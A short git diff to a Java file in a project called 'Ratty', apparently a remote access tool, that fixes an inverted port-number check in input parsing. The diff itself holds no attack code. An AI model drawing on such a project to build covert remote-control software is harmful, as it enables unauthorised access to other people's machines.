diff --git a/Ratty/src/de/sogomn/rat/Ratty.java b/Ratty/src/de/sogomn/rat/Ratty.java
index 87ded4c..ad6020c 100644
--- a/Ratty/src/de/sogomn/rat/Ratty.java
+++ b/Ratty/src/de/sogomn/rat/Ratty.java
@@ -72,7 +72,7 @@ public final class Ratty {
 		try {
 			final int port = Integer.parseInt(input);
 			
-			if (port > 0) {
+			if (port < 0) {
 				return -1;
 			}